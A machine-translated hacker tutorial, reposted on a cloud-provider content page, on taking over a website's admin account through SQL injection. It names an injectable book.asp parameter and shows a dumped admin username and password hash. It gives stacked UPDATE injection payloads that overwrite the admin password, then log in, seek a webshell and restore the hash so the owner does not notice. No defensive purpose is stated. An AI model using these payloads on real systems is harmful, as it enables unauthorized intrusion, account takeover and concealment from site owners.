Change administrator password through injection

Source: Internet
Author: User

Injection Point found: http://xxx.com/book.asp? Id = 1996
I have just used NB for testing. We can see that the table segment shop_admin exists.
However, the password is MD5 encrypted: [adminid]: 24 [admin]: zhuyaod [password]: d4716077c2ba075c
Let's try to cheat. It can be seen that deception is no effect.
What should we do? Do you want to run the password? How much time and memory is wasted?
Next I will introduce a new method: injection. The injection statement is as follows:
; Update shop_admin set password = new MD5 encrypted password where password = d4716077c2ba075c --
For example, if I need to change the password of zhuyaod to wmmhacker, we need to first obtain the twelve

Bit Password
Here, we can use the tool of mingkiddie to convert it. Wmmhacker-f8dc763194f29433
; Update shop_admin set password = f8dc763194f29433 where password = d4716077c2ba075c --
Let's test. If no error is returned, the page is successful.
Now we can re-guess the password in the shop_admin table.
[Adminid]: 24 [admin]: zhuyaod [password]: f8dc763194f29433
The comparison has changed. Now we can log on.
Come in. Haha. That's it. It is worth mentioning that we entered the background and tried to get WEBSHELL.
Next, don't forget to restore the administrator password. Otherwise, he will find a drop!
; Update shop_admin set password = d4716077c2ba075c where password = f8dc763194f29433 --

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.